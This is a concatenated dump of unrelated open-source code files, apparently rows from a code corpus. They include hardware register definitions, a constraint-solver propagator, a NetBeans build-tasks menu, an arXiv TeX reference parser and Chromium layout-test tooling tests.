constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pos0revInt{};
///Writing a 1 disables the POS1REV_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> pos1revInt{};
///Writing a 1 disables the POS2REV_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> pos2revInt{};
///Writing a 1 disables the REV1_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,13),Register::ReadWriteAccess,unsigned> rev1Int{};
///Writing a 1 disables the REV2_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,14),Register::ReadWriteAccess,unsigned> rev2Int{};
///Writing a 1 disables the MAXPOS_Int interrupt in the QEIIE register.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> maxposInt{};
///Reserved. Read value is undefined, only zero should be written.
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,16),Register::ReadWriteAccess,unsigned> reserved{};
}
}
| 10,791 |
333 | import os, sys
from rpython.tool.version import get_repo_version_info, _get_hg_archive_version
def test_hg_archival_version(tmpdir):
def version_for(name, items):
path = tmpdir.join(name)
path.write('\n'.join(('%s: %s' % (tag,value) for tag,value in items)))
return _get_hg_archive_version(str(path))
assert version_for('release',
(('tag', 'release-123'),
('tag', 'ignore-me'),
('node', '000'),
),
) == ('release-123', '000')
assert version_for('somebranch',
(('node', '000'),
('branch', 'something'),
),
) == ('something', '000')
def test_get_repo_version_info():
assert get_repo_version_info(None)
assert get_repo_version_info(os.devnull) == ('?', '?')
assert get_repo_version_info(sys.executable) == ('?', '?')
| 509 |
777 | {
"name": "service_manager_unittest_target",
"display_name": "Service Manager Unittest: Target",
"interface_provider_specs": {
"service_manager:connector": {
"requires": {
"service_manager_unittest": [
"service_manager_unittest:create_instance_test"
]
}
}
}
}
| 138 |
373 | <filename>bundle/src/test/resources/remoteassetstest/nodesync/dam.a.a1sub.a3gif.content.json
{
"jcr:primaryType": "dam:AssetContent",
"jcr:lastModifiedBy": "admin",
"dam:assetState": "processed",
"jcr:lastModified": "Mon Jan 14 2019 13:11:47 GMT-0600",
"dam:relativePath": "a/subfolder1/image_a3.gif",
"renditions": {
"jcr:primaryType": "nt:folder",
"jcr:createdBy": "admin",
"jcr:created": "Mon Jan 14 2019 13:11:47 GMT-0600"
},
"metadata": {
"jcr:primaryType": "nt:unstructured",
"jcr:mixinTypes": [
"cq:Taggable"
],
"dam:Physicalheightininches": "0.6944444179534912",
"dam:Physicalwidthininches": "0.6944444179534912",
"dam:Fileformat": "GIF",
"dam:Progressive": "no",
"tiff:ImageLength": 50,
"dam:extracted": "Mon Jan 14 2019 13:11:47 GMT-0600",
"dc:format": "image/gif",
"dam:Bitsperpixel": 7,
"dam:MIMEtype": "image/gif",
"dam:Comments": "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 65\n\n",
"dam:Physicalwidthindpi": 72,
"dam:Physicalheightindpi": 72,
"dam:Numberofimages": 1,
"dam:Numberoftextualcomments": 1,
"tiff:ImageWidth": 50,
"dam:sha1": "e5a684cf6bfeae56892558192323ccfbfb74e8b0",
"dam:size": 3326
}
} | 565 |
545 | #include <iostream>
#include "StrBlob.h"
#include "ConstStrBlobPtr.h"
void testStrBlob(const StrBlob &sb) {
try {
std::cout << "front: " << sb.front() << " back: " << sb.back() << std::endl;
} catch (std::out_of_range err) {
std::cerr << err.what() << " out of range" << std::endl;
} catch (std::exception err) {
std::cerr << err.what() << std::endl;
}
}
void testConstStrBlobPtr(ConstStrBlobPtr &sbp) {
try {
//sbp.deref() = "Change"; // Error
for (auto p = sbp; ; p.inc())
std::cout << "deref: " << p.deref() << std::endl;
} catch (std::out_of_range err) {
std::cerr << err.what() << " out of range" << std::endl;
} catch (std::exception err) {
std::cerr << err.what() << std::endl;
}
}
int main() {
StrBlob sb1;
StrBlob sb2{"Hello", "World"};
const StrBlob csb1;
testStrBlob(csb1);
std::cout << std::endl;
const StrBlob csb2{"This", "Blob"};
testStrBlob(csb2);
std::cout << std::endl;
ConstStrBlobPtr csbp1;
testConstStrBlobPtr(csbp1);
std::cout << std::endl;
ConstStrBlobPtr sbp2(sb1);
testConstStrBlobPtr(sbp2);
std::cout << std::endl;
ConstStrBlobPtr sbp3(sb1, sb1.size());
testConstStrBlobPtr(sbp3);
std::cout << std::endl;
ConstStrBlobPtr sbp4(sb2);
testConstStrBlobPtr(sbp4);
std::cout << std::endl;
ConstStrBlobPtr sbp5(sb2, sb2.size());
testConstStrBlobPtr(sbp5);
std::cout << std::endl;
ConstStrBlobPtr csbp2(csb1);
testConstStrBlobPtr(csbp2);
std::cout << std::endl;
ConstStrBlobPtr csbp3(csb1, csb1.size());
testConstStrBlobPtr(csbp3);
std::cout << std::endl;
ConstStrBlobPtr csbp4(csb2);
testConstStrBlobPtr(csbp4);
std::cout << std::endl;
ConstStrBlobPtr csbp5(csb2, csb2.size());
testConstStrBlobPtr(csbp5);
std::cout << std::endl;
return 0;
}
| 819 |
459 | <gh_stars>100-1000
/*
* This file is part of choco-solver, http://choco-solver.org/
*
* Copyright (c) 2021, IMT Atlantique. All rights reserved.
*
* Licensed under the BSD 4-clause license.
*
* See LICENSE file in the project root for full license information.
*/
package org.chocosolver.solver.constraints.graph.cycles;
import org.chocosolver.solver.constraints.Propagator;
import org.chocosolver.solver.constraints.PropagatorPriority;
import org.chocosolver.solver.exception.ContradictionException;
import org.chocosolver.solver.variables.GraphVar;
import org.chocosolver.solver.variables.UndirectedGraphVar;
import org.chocosolver.solver.variables.delta.IGraphDeltaMonitor;
import org.chocosolver.solver.variables.events.GraphEventType;
import org.chocosolver.util.ESat;
import org.chocosolver.util.graphOperations.connectivity.StrongConnectivityFinder;
import org.chocosolver.util.objects.graphs.DirectedGraph;
import org.chocosolver.util.objects.setDataStructures.ISet;
import java.util.BitSet;
/**
* Propagator for the no-cycle constraint (general case)
*
* @author <NAME>
*/
public class PropAcyclic extends Propagator<GraphVar> {
//***********************************************************************************
// VARIABLES
//***********************************************************************************
private GraphVar g;
private IGraphDeltaMonitor gdm;
private int n;
private BitSet rfFrom, rfTo;
private int[] fifo;
//***********************************************************************************
// CONSTRUCTORS
//***********************************************************************************
public PropAcyclic(GraphVar g) {
super(new GraphVar[]{g}, PropagatorPriority.LINEAR, true);
this.g = g;
this.n = g.getNbMaxNodes();
this.fifo = new int[n];
this.rfFrom = new BitSet(n);
this.rfTo = new BitSet(n);
this.gdm = g.monitorDelta(this);
}
//***********************************************************************************
// METHODS
//***********************************************************************************
@Override
public int getPropagationConditions(int idx) {
return GraphEventType.ADD_EDGE.getMask();
}
@Override
public void propagate(int evtmask) throws ContradictionException {
for (int i = 0; i < n; i++) {
g.removeEdge(i, i, this);
if (g.getMandatorySuccessorsOf(i).size() > 0) {
for (int j = 0; j < n; j++) {
if (g.getMandatorySuccessorsOf(i).contains(j)) {
propagateIJ(i, j);
}
}
}
}
}
@Override
public void propagate(int idx, int mask) throws ContradictionException {
gdm.forEachEdge(this::propagateIJ, GraphEventType.ADD_EDGE);
}
private void propagateIJ(int from, int to) throws ContradictionException {
if (g.isDirected()) {
g.removeEdge(to, from, this);
}
int first, last, ik;
// mark reachable from 'To'
first = 0;
last = 0;
ik = to;
rfTo.clear();
fifo[last++] = ik;
rfTo.set(ik);
while (first < last) {
ik = fifo[first++];
ISet nei = g.getMandatorySuccessorsOf(ik);
for (int j : nei) {
if (j != from && !rfTo.get(j)) {
rfTo.set(j);
fifo[last++] = j;
}
}
}
// mark reachable from 'From'
first = 0;
last = 0;
ik = from;
rfFrom.clear();
fifo[last++] = ik;
rfFrom.set(ik);
while (first < last) {
ik = fifo[first++];
ISet nei = g.getMandatoryPredecessorsOf(ik);
for (int j : nei) {
if (j != to && !rfFrom.get(j)) {
rfFrom.set(j);
fifo[last++] = j;
}
}
}
// filter arcs that would create a circuit
for (int i : g.getPotentialNodes()) {
if (rfTo.get(i)) {
ISet nei = g.getPotentialSuccessorsOf(i);
for (int j : nei) {
if (rfFrom.get(j) && (i != from || j != to) && (i != to || j != from)) {
g.removeEdge(i, j, this);
}
}
}
}
}
@Override
public ESat isEntailed() {
// If g is undirected, detect cycles in undirected graph variable LB with a DFS from each node
if (g instanceof UndirectedGraphVar) {
for (int root : g.getMandatoryNodes()) {
boolean[] visited = new boolean[g.getNbMaxNodes()];
int[] parent = new int[g.getNbMaxNodes()];
visited[root] = true;
parent[root] = root;
int[] stack = new int[g.getNbMaxNodes()];
int last = 0;
stack[last] = root;
while (last >= 0) {
int current = stack[last--];
for (int j : g.getMandatorySuccessorsOf(current)) {
if (visited[j]) {
if (j == current || j != parent[current]) {
return ESat.FALSE;
}
} else {
visited[j] = true;
parent[j] = current;
stack[++last] = j;
}
}
}
}
} else {
// If g is directed, assert that the number of strongly connected components
// is equal to the number of mandatory nodes
StrongConnectivityFinder scfinder = new StrongConnectivityFinder((DirectedGraph) g.getLB());
scfinder.findAllSCC();
if (g.getMandatoryNodes().size() - scfinder.getNbSCC() > 0) {
return ESat.FALSE;
}
}
if (!isCompletelyInstantiated()) {
return ESat.UNDEFINED;
}
return ESat.TRUE;
}
}
| 3,029 |
1,224 | /*
* Copyright (C) 2005-present, 58.com. All rights reserved.
* Use of this source code is governed by a BSD type license that can be
* found in the LICENSE file.
*/
package com.wuba.fair.register;
import java.util.concurrent.ConcurrentHashMap;
public class LocalRegister {
private static LocalRegister localRegister;
private LocalRegister() {
}
public final ConcurrentHashMap<String, ILocalRegister> map = new ConcurrentHashMap<>();
public static LocalRegister getInstance() {
localRegister = new LocalRegister();
return localRegister;
}
public ILocalRegister get(String key) {
return map.get(key);
}
public void put(String key, ILocalRegister value) {
map.put(key, value);
}
}
| 254 |
1,056 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.web.clientproject.build.ui;
import java.awt.EventQueue;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JMenu;
import javax.swing.JMenuItem;
import javax.swing.JPopupMenu;
import org.netbeans.api.annotations.common.CheckForNull;
import org.netbeans.api.project.ProjectUtils;
import org.netbeans.modules.web.clientproject.api.build.BuildTools.TasksMenuSupport;
import org.netbeans.modules.web.clientproject.api.util.StringUtilities;
import org.netbeans.modules.web.clientproject.build.AdvancedTask;
import org.netbeans.modules.web.clientproject.build.AdvancedTasksStorage;
import org.netbeans.modules.web.clientproject.build.Tasks;
import org.openide.DialogDisplayer;
import org.openide.NotifyDescriptor;
import org.openide.util.NbBundle;
import org.openide.util.RequestProcessor;
import org.openide.util.Utilities;
public class TasksMenu extends JMenu {
static final Logger LOGGER = Logger.getLogger(TasksMenu.class.getName());
private static final RequestProcessor RP = new RequestProcessor(TasksMenu.class);
final TasksMenuSupport support;
final AdvancedTasksStorage advancedTasksStorage;
final Object lock = new Object();
// @GuardedBy("EDT")
private boolean menuBuilt = false;
private volatile Tasks tasks = null;
public TasksMenu(TasksMenuSupport support) {
super(support.getTitle(TasksMenuSupport.Title.MENU));
this.support = support;
advancedTasksStorage = AdvancedTasksStorage.forBuildToolSupport(support);
}
boolean isMenuBuilt() {
assert EventQueue.isDispatchThread();
return menuBuilt;
}
void setMenuBuilt(boolean menuBuilt) {
assert EventQueue.isDispatchThread();
this.menuBuilt = menuBuilt;
}
@Override
public JPopupMenu getPopupMenu() {
assert EventQueue.isDispatchThread();
if (!isMenuBuilt()) {
setMenuBuilt(true);
buildMenu();
}
return super.getPopupMenu();
}
@NbBundle.Messages({
"# {0} - tasks/targets of the build tool",
"# {1} - project name",
"TasksMenu.error.execution=Error occured while getting {0} for project {1} - review IDE log for details.",
"# {0} - tasks/targets of the build tool",
"# {1} - project name",
"TasksMenu.error.timeout=Timeout occured while getting {0} for project {1}.",
})
private void buildMenu() {
assert EventQueue.isDispatchThread();
assert tasks == null : tasks;
// load tasks
addLoadingMenuItem();
RP.post(new Runnable() {
@Override
public void run() {
AdvancedTasksStorage.Data data = advancedTasksStorage.loadTasks();
Future<List<String>> simpleTasks = support.getTasks();
try {
tasks = new Tasks(data.getTasks(), data.isShowSimpleTasks(), simpleTasks.get(1, TimeUnit.MINUTES));
} catch (InterruptedException ex) {
Thread.currentThread().interrupt();
} catch (ExecutionException ex) {
LOGGER.log(Level.INFO, null, ex);
errorOccured(Bundle.TasksMenu_error_execution(
support.getTitle(TasksMenuSupport.Title.MENU),
ProjectUtils.getInformation(support.getProject()).getDisplayName()));
} catch (TimeoutException ex) {
LOGGER.log(Level.INFO, null, ex);
errorOccured(Bundle.TasksMenu_error_timeout(
support.getTitle(TasksMenuSupport.Title.MENU),
ProjectUtils.getInformation(support.getProject()).getDisplayName()));
}
rebuildMenu();
}
});
}
void rebuildMenu() {
EventQueue.invokeLater(new Runnable() {
@Override
public void run() {
removeAll();
addMenuItems();
refreshMenu();
}
});
}
void errorOccured(String message) {
if (isShowing()) {
DialogDisplayer.getDefault().notifyLater(new NotifyDescriptor.Message(message, NotifyDescriptor.ERROR_MESSAGE));
}
}
void refreshMenu() {
JPopupMenu popupMenu = getPopupMenu();
popupMenu.pack();
popupMenu.invalidate();
popupMenu.revalidate();
popupMenu.repaint();
}
void addMenuItems() {
assert EventQueue.isDispatchThread();
if (tasks == null
|| tasks.getSimpleTasks() == null) {
// build tool cli error?
addConfigureToolMenuItem();
return;
}
// ui
VerticalGridLayout vgl = new VerticalGridLayout();
getPopupMenu().setLayout(vgl);
// items
List<String> simpleTasks = tasks.getSimpleTasks();
assert simpleTasks != null;
Set<String> allTasks = new LinkedHashSet<>(simpleTasks);
// default task
final String defaultTaskName = support.getDefaultTaskName();
if (defaultTaskName != null) {
allTasks.remove(defaultTaskName);
addTaskMenuItem(true, defaultTaskName);
addSeparator();
}
// other tasks
addAdvancedTasksMenuItems();
if (tasks.isShowSimpleTasks()) {
addTasksMenuItems(allTasks);
}
if (!tasks.getAdvancedTasks().isEmpty()
|| (tasks.isShowSimpleTasks() && !allTasks.isEmpty())) {
addSeparator();
}
// config
addManageMenuItems(allTasks);
addReloadTasksMenuItem();
}
@CheckForNull
private void addTasksMenuItems(Collection<String> tasks) {
assert EventQueue.isDispatchThread();
assert tasks != null;
for (String task : tasks) {
addTaskMenuItem(false, task);
}
}
private void addAdvancedTasksMenuItems() {
assert EventQueue.isDispatchThread();
assert tasks != null;
for (AdvancedTask task : tasks.getAdvancedTasks()) {
addTaskMenuItem(task);
}
}
@NbBundle.Messages("TasksMenu.menu.manage=Manage...")
private void addManageMenuItems(final Collection<String> simpleTasks) {
assert EventQueue.isDispatchThread();
assert simpleTasks != null;
// item Manage...
JMenuItem menuItem = new JMenuItem(Bundle.TasksMenu_menu_manage());
menuItem.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
assert EventQueue.isDispatchThread();
List<String> simpleTasksWithDefaultTask = new ArrayList<>(simpleTasks.size() + 1);
// add empty task for default task/action
simpleTasksWithDefaultTask.add(""); // NOI18N
simpleTasksWithDefaultTask.addAll(simpleTasks);
AdvancedTasksPanel panel = AdvancedTasksPanel.open(support.getTitle(TasksMenuSupport.Title.MANAGE_ADVANCED),
support.getTitle(TasksMenuSupport.Title.TASKS_LABEL),
support.getBuildToolExecName(),
simpleTasksWithDefaultTask,
tasks.getAdvancedTasks(),
tasks.isShowSimpleTasks());
if (panel != null) {
final AdvancedTasksStorage.Data data;
synchronized (lock) {
data = new AdvancedTasksStorage.Data()
.setTasks(panel.getTasks())
.setShowSimpleTasks(panel.isShowSimpleTasks());
}
RP.post(new Runnable() {
@Override
public void run() {
assert !EventQueue.isDispatchThread();
try {
synchronized (lock) {
advancedTasksStorage.storeTasks(data);
}
} catch (IOException ex) {
LOGGER.log(Level.INFO, "Cannot store tasks", ex);
}
}
});
}
}
});
add(menuItem);
}
private void addTaskMenuItem(final boolean isDefault, final String task) {
JMenuItem menuitem = new JMenuItem(task);
menuitem.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
RP.post(new Runnable() {
@Override
public void run() {
if (isDefault) {
support.runTask();
} else {
support.runTask(task);
}
}
});
}
});
add(menuitem);
}
private void addTaskMenuItem(final AdvancedTask task) {
assert task != null;
JMenuItem menuitem = new JMenuItem(task.getName());
menuitem.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
RP.post(new Runnable() {
@Override
public void run() {
String fullCommand = task.getFullCommand();
if (StringUtilities.hasText(fullCommand)) {
support.runTask(Utilities.parseParameters(fullCommand));
} else {
support.runTask();
}
}
});
}
});
add(menuitem);
}
private void addLoadingMenuItem() {
JMenuItem menuItem = new JMenuItem(support.getTitle(TasksMenuSupport.Title.LOADING_TASKS));
menuItem.setEnabled(false);
add(menuItem);
}
private void addConfigureToolMenuItem() {
JMenuItem menuItem = new JMenuItem(support.getTitle(TasksMenuSupport.Title.CONFIGURE_TOOL));
menuItem.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
support.configure();
}
});
add(menuItem);
}
@NbBundle.Messages("TasksMenu.menu.reload=Reload")
private void addReloadTasksMenuItem() {
JMenuItem menuItem = new JMenuItem(Bundle.TasksMenu_menu_reload());
menuItem.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
assert EventQueue.isDispatchThread();
RP.post(new Runnable() {
@Override
public void run() {
support.reloadTasks();
}
});
setMenuBuilt(false);
}
});
add(menuItem);
}
}
| 5,789 |
303 | import sys
import os
import os.path
import datetime
import argparse
from xml.etree.ElementTree import Element, SubElement, tostring
from log import Log
from texparser import TexParser
from latexparser import LatexParser
from gettexfile import file_has_suffix
from gettexfile import get_tex_file
from xiwi.common.misc import buildFileList
from xiwi.common import arxivid
from xiwi.common.stats import Statistics
def str_contains(s1, s2):
return s1.find(s2) != -1
def str_contains_one_of(st, st_list):
for st2 in st_list:
if str_contains(st, st2):
return True
return False
def detect_file_kind(file_obj):
"""Simple detection of kind of source file."""
kind = 'unknown'
firstline = file_obj.readline()
while firstline.isspace():
firstline = file_obj.readline()
if firstline.startswith('%!PS'):
kind = 'PS'
elif firstline.startswith('%auto-ignore'):
kind = 'auto-ignore'
else:
file_obj.seek(0)
for line in file_obj:
if str_contains(line, '\\def'):
# might be tex, if we don't find anything else
kind = 'tex'
if str_contains(line, '\\input'):
# might be tex, if we don't find anything else
kind = 'tex'
if str_contains(line, 'amstex') or str_contains(line, 'harvmac'):
# definitely tex
kind = 'tex'
break
if str_contains(line, '\\documentclass'):
# definitely latex
kind = 'latex'
break
if str_contains(line, '\\documentstyle'):
# could be tex or latex
if str_contains(line, 'amsppt'):
kind = 'tex'
break
else:
kind = 'latex'
break
file_obj.seek(0)
return kind
class WithdrawnPaper(object):
def __init__(self):
pass
def __getitem__(self, item):
if item == 'refs':
return []
elif item == 'success':
return True
def parse(self):
pass
def process_article(filename):
"""Returns TexParserBase derived object on success, None on failure."""
# get the tex file
filename, file_obj, tarfile_obj = get_tex_file(filename)
if file_obj is None:
return None
# detect the type of file
kind = detect_file_kind(file_obj)
# act on the type of file
parser = None
if kind == 'PS':
print('skipping postscript file')
elif kind == 'auto-ignore':
print('asked to ignore file, most likely it was withdrawn')
parser = WithdrawnPaper()
if kind == 'tex':
print('parsing as TeX')
parser = TexParser(filename, file_obj, tarfile_obj)
elif kind == 'latex':
print('parsing as LaTeX')
parser = LatexParser(filename, file_obj, tarfile_obj)
else:
print('cannot determine kind of file')
# attempt to parse the document
try:
if parser is not None:
parser.parse()
except Exception as e:
print('exception while trying to parse file:')
print(str(e))
parser = None
# close the files
file_obj.close()
if tarfile_obj is not None:
tarfile_obj.close()
# return the parsed document
return parser
arxiv_classes = [
'acc-phys', 'adap-org', 'alg-geom', 'ao-sci', 'astro-ph', 'atom-ph',
'bayes-an', 'chao-dyn', 'chem-ph', 'cmp-lg', 'comp-gas', 'cond-mat',
'cs', 'dg-ga', 'funct-an', 'gr-qc', 'hep-ex', 'hep-lat',
'hep-ph', 'hep-th', 'math', 'math-ph', 'mtrl-th', 'nlin',
'nucl-ex', 'nucl-th', 'patt-sol', 'physics', 'plasm-ph', 'q-alg',
'q-bio', 'quant-ph', 'solv-int', 'supr-con'
]
def do_single_file(file_name, print_xml, write_xml_dir):
arxiv_id, arxiv_version = arxivid.filenameToArxivAndVersion(file_name)
if arxiv_id is None:
print('WARN: could not determine arXiv identifier for', file_name)
arxiv_id = '<unknown>'
arxiv_version = 0
Log.reset()
Statistics.begin_item(arxiv_id)
if file_has_suffix(file_name, '.pdf'):
Statistics.count('1) pdf')
succ = True
else:
Statistics.count('2) processed')
parser = process_article(file_name)
if parser is not None :
succ = parser['success']
bib_refs = parser['refs']
else :
succ = False
bib_refs = []
if str_contains_one_of(arxiv_id, ['gr-qc', 'hep-']):
Statistics.count('hep-processed')
if succ:
Statistics.count('hep-success')
if succ:
print('-success--------')
Statistics.count('3) success')
else:
print('-fail-----------')
Statistics.count('4) fail')
show_ref = False
if succ and show_ref:
for bib_ref in bib_refs:
print(bib_ref.key, 'with', bib_ref.cite_count, 'citations in paper')
if len(bib_ref.bib_info) == 0:
print('no reference')
else:
print(bib_ref.bib_info_as_str(keep_comments=True))
if succ and (print_xml or write_xml_dir):
xml = Element('article')
SubElement(xml, 'id').text = arxiv_id
if arxiv_version > 0:
SubElement(xml, 'version').text = str(arxiv_version)
refs = SubElement(xml, 'refs')
for bib_ref in bib_refs:
bib_text = bib_ref.bib_info_as_str(keep_comments=True)
if len(bib_text) != 0:
ncites = bib_ref.cite_count
if ncites < 1:
ncites = 1
ref = SubElement(refs, 'ref', order=str(bib_ref.ref_order_num), freq=str(ncites))
ref.text = bib_text
if print_xml:
print(tostring(xml))
if isinstance(write_xml_dir, str):
if arxiv_id != '<unknown>':
xml_file_name = os.path.join(write_xml_dir, arxiv_id.replace('/', '') + '.xml')
else:
fname = os.path.split(file_name)[1]
if fname.rfind('.') > 0:
fname = fname[:fname.rfind('.')]
xml_file_name = write_xml_dir + '/' + fname + '.xml'
file_obj = open(xml_file_name, 'wb')
file_obj.write(tostring(xml, encoding='utf-8'))
file_obj.close()
Statistics.end_item()
return succ
summaryStrs = []
if __name__ == "__main__":
cmd_parser = argparse.ArgumentParser(description='Parse TeX/LaTeX to find references.')
cmd_parser.add_argument('--filelist', action='store_true', help='file names on the command line each contain a list of files to process')
cmd_parser.add_argument('--print-xml', action='store_true', help='print XML output to stdout')
cmd_parser.add_argument('--write-xml', metavar='<dir>', help='destination directory to write XML output files')
cmd_parser.add_argument('--failed', metavar='<file>', help='output file to write list of failed files')
cmd_parser.add_argument('files', nargs='+', help='input files')
args = cmd_parser.parse_args()
# print date stamp
timeStart = datetime.datetime.now()
print('[ptex] started processing at', str(timeStart))
print('given', len(args.files), 'files, first file:', args.files[0])
print('================')
Statistics.clear('article')
# build list of files to process
file_list = buildFileList(args.filelist, args.files)
# ensure the destination directory exists
if args.write_xml is not None and os.path.exists(args.write_xml):
try:
os.makedirs(args.write_xml)
except:
pass
# process the files
failed_files = []
for file_name in file_list:
success = do_single_file(file_name, args.print_xml, args.write_xml)
if not success:
failed_files.append(file_name)
# write the failed files to an output file, if requested
if args.failed is not None:
file_obj = open(args.failed, 'w')
file_obj.writelines(f + '\n' for f in failed_files)
file_obj.close()
print('================')
Statistics.show()
Statistics.show_detail('fail')
#Statistics.show_detail('cite-range')
#Statistics.show_detail('bad-ascii')
#Statistics.show_detail('non-ascii')
print('================')
# print date stamp
timeEnd = datetime.datetime.now()
print('[ptex] finished processing at', str(timeEnd))
# print summary for email
summaryStrs.extend(Statistics.get_summary())
summaryStrs.insert(0, 'started processing at %s, took %.1f minutes' % (timeStart.strftime('%H:%M'), (timeEnd - timeStart).total_seconds() / 60))
for s in summaryStrs:
print('**SUMMARY** [ptex]', s)
| 4,215 |
879 | <filename>sdk/src/main/java/org/zstack/sdk/SftpBackupStorageInventory.java
package org.zstack.sdk;
public class SftpBackupStorageInventory extends org.zstack.sdk.BackupStorageInventory {
public java.lang.String hostname;
public void setHostname(java.lang.String hostname) {
this.hostname = hostname;
}
public java.lang.String getHostname() {
return this.hostname;
}
public java.lang.String username;
public void setUsername(java.lang.String username) {
this.username = username;
}
public java.lang.String getUsername() {
return this.username;
}
public java.lang.Integer sshPort;
public void setSshPort(java.lang.Integer sshPort) {
this.sshPort = sshPort;
}
public java.lang.Integer getSshPort() {
return this.sshPort;
}
}
| 330 |
2,151 | # Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import unittest
from blinkpy.common.host_mock import MockHost
from blinkpy.common.net.buildbot import Build
from blinkpy.common.net.git_cl import TryJobStatus
from blinkpy.common.net.git_cl_mock import MockGitCL
from blinkpy.common.net.layout_test_results import LayoutTestResults
from blinkpy.common.path_finder import PathFinder
from blinkpy.web_tests.try_flag import TryFlag
class TryFlagTest(unittest.TestCase):
def __init__(self, *args, **kwargs):
self.linux_build = Build('linux_chromium_rel_ng', 100)
self.mac_build = Build('mac_chromium_rel_ng', 101)
self.win_build = Build('win7_chromium_rel_ng', 102)
self.mock_try_results = {
self.linux_build: TryJobStatus('COMPLETED', 'SUCCESS'),
self.win_build: TryJobStatus('COMPLETED', 'SUCCESS'),
self.mac_build: TryJobStatus('COMPLETED', 'SUCCESS')
}
super(TryFlagTest, self).__init__(*args, **kwargs)
def _run_trigger_test(self, regenerate):
host = MockHost()
git = host.git()
git_cl = MockGitCL(host)
finder = PathFinder(host.filesystem)
flag_file = finder.path_from_layout_tests(
'additional-driver-flag.setting')
flag_expectations_file = finder.path_from_layout_tests(
'FlagExpectations', 'foo')
cmd = ['trigger', '--flag=--foo']
if regenerate:
cmd.append('--regenerate')
TryFlag(cmd, host, git_cl).run()
expected_added_paths = {flag_file}
expected_commits = [['Flag try job: force --foo for run_web_tests.py.']]
if regenerate:
expected_added_paths.add(flag_expectations_file)
expected_commits.append(
['Flag try job: clear expectations for --foo.'])
self.assertEqual(git.added_paths, expected_added_paths)
self.assertEqual(git.local_commits(), expected_commits)
self.assertEqual(git_cl.calls, [
['git', 'cl', 'upload', '--bypass-hooks', '-f',
'-m', 'Flag try job for --foo.'],
['git', 'cl', 'try', '-B', 'master.tryserver.chromium.linux',
'-b', 'linux_chromium_rel_ng'],
['git', 'cl', 'try', '-B', 'master.tryserver.chromium.mac',
'-b', 'mac_chromium_rel_ng'],
['git', 'cl', 'try', '-B', 'master.tryserver.chromium.win',
'-b', 'win7_chromium_rel_ng']
])
def test_trigger(self):
self._run_trigger_test(regenerate=False)
self._run_trigger_test(regenerate=True)
def _setup_mock_results(self, buildbot):
buildbot.set_results(self.linux_build, LayoutTestResults({
'tests': {
'something': {
'fail-everywhere.html': {
'expected': 'FAIL',
'actual': 'IMAGE+TEXT',
'is_unexpected': True
},
'fail-win-and-linux.html': {
'expected': 'FAIL',
'actual': 'IMAGE+TEXT',
'is_unexpected': True
}
}
}
}))
buildbot.set_results(self.win_build, LayoutTestResults({
'tests': {
'something': {
'fail-everywhere.html': {
'expected': 'FAIL',
'actual': 'IMAGE+TEXT',
'is_unexpected': True
},
'fail-win-and-linux.html': {
'expected': 'FAIL',
'actual': 'IMAGE+TEXT',
'is_unexpected': True
}
}
}
}))
buildbot.set_results(self.mac_build, LayoutTestResults({
'tests': {
'something': {
'pass-unexpectedly-mac.html': {
'expected': 'IMAGE+TEXT',
'actual': 'PASS',
'is_unexpected': True
},
'fail-everywhere.html': {
'expected': 'FAIL',
'actual': 'IMAGE+TEXT',
'is_unexpected': True
}
}
}
}))
def test_update(self):
host = MockHost()
filesystem = host.filesystem
finder = PathFinder(filesystem)
flag_expectations_file = finder.path_from_layout_tests(
'FlagExpectations', 'foo')
filesystem.write_text_file(
flag_expectations_file,
'something/pass-unexpectedly-mac.html [ Fail ]')
self._setup_mock_results(host.buildbot)
cmd = ['update', '--flag=--foo']
TryFlag(cmd, host, MockGitCL(host, self.mock_try_results)).run()
def results_url(build):
return '%s/%s/%s/layout-test-results/results.html' % (
'https://test-results.appspot.com/data/layout_results',
build.builder_name,
build.build_number
)
self.assertEqual(host.stdout.getvalue(), '\n'.join([
'Fetching results...',
'-- Linux: %s' % results_url(self.linux_build),
'-- Mac: %s' % results_url(self.mac_build),
'-- Win: %s' % results_url(self.win_build),
'',
'### 1 unexpected passes:',
'',
'Bug(none) [ Mac ] something/pass-unexpectedly-mac.html [ Pass ]',
'',
'### 2 unexpected failures:',
'',
'Bug(none) something/fail-everywhere.html [ Failure ]',
'Bug(none) [ Linux Win ] something/fail-win-and-linux.html [ Failure ]',
''
]))
def test_update_irrelevant_unexpected_pass(self):
host = MockHost()
filesystem = host.filesystem
finder = PathFinder(filesystem)
flag_expectations_file = finder.path_from_layout_tests(
'FlagExpectations', 'foo')
